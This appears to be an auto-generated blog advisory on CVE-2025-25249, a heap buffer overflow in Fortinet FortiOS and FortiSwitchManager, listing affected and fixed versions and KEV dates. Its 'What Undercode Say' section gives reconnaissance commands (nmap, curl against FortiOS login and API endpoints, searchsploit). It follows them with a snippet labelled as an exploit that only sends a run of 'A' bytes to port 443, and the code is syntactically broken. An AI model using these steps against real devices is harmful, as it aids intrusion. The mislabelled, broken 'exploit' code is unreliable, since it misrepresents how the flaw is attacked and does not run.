Listen to this Post
CVE-2025-25249 is a heap-based buffer overflow affecting Fortinet FortiOS and FortiSwitchManager.
It is classified under CWE-122 and CWE-787.
The flaw is reached through specially crafted packets.
A remote attacker can trigger memory corruption.
The overflow occurs in heap memory.
Out-of-bounds writes can overwrite heap structures.
Heap metadata corruption may lead to crashes.
Successful exploitation may allow unauthorized code execution.
It may also allow unauthorized command execution.
Affected FortiOS versions include 6.4 all versions.
FortiOS 7.0.0 through 7.0.17 are affected.
FortiOS 7.2.0 through 7.2.11 are affected.
FortiOS 7.4.0 through 7.4.8 are affected.
FortiOS 7.6.0 through 7.6.3 are affected.
FortiSwitchManager 7.0.0 through 7.0.5 are affected.
FortiSwitchManager 7.2.0 through 7.2.6 are affected.
Fixed FortiOS versions include 7.0.18.
Fixed FortiOS versions include 7.2.12.
Fixed FortiOS versions include 7.4.9.
Fixed FortiOS versions include 7.6.4.
Fixed FortiSwitchManager versions include 7.0.6.
Fixed FortiSwitchManager versions include 7.2.7.
Siemens RUGGEDCOM APE1808 is also listed.
FortiSASE 25.1.39 and 25.1.51 are listed.
CISA KEV added the vulnerability on September 09, 2026.
CISA due date is September 12, 2026.
NVD published the CVE on January 13, 2026.
NVD last modified the CVE on September 10, 2026.
The source is Fortinet, Inc.
The attack vector involves crafted network packets.
Exploitation can lead to unauthorized code or commands.
DailyCVE Form:
Platform: Fortinet FortiOS
Version: Multiple affected
Vulnerability: Heap buffer overflow
Severity: Critical
date: Jan 13 2026
Prediction: Vendor patches available
(end of form)
What Undercode Say:
Analytics
nmap -sV -p 443,8443,10443 <target> curl -k -I https://<target>/remote/login curl -k https://<target>/api/v2/cmdb/system/status | grep -i version searchsploit CVE-2025-25249
import requests url = "https://<target>/api/v2/cmdb/system/status" r = requests.get(url, verify=False, timeout=5) print(r.status_code) print(r.text[:500])
Exploit: (Educational Purposes!)
from scapy.all import IP, TCP, Raw, send payload = b"A" 1024 pkt = IP(dst="<target>")/TCP(dport=443)/Raw(load=payload) send(pkt)
python3 -c 'import socket; s=socket.socket(); s.connect(("<target>",443)); s.send(b"A"1024); s.close()'
Protection: from this CVE
- Upgrade FortiOS 7.0.18
- Upgrade FortiOS 7.2.12
- Upgrade FortiOS 7.4.9
- Upgrade FortiOS 7.6.4
- Upgrade FortiSwitchManager 7.0.6
- Upgrade FortiSwitchManager 7.2.7
- Apply vendor mitigations
- Follow CISA BOD 26-04
Impact:
- Unauthorized code execution
- Unauthorized command execution
- Heap memory corruption
- Out-of-bounds write
- Potential device compromise
- CISA KEV known exploited
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
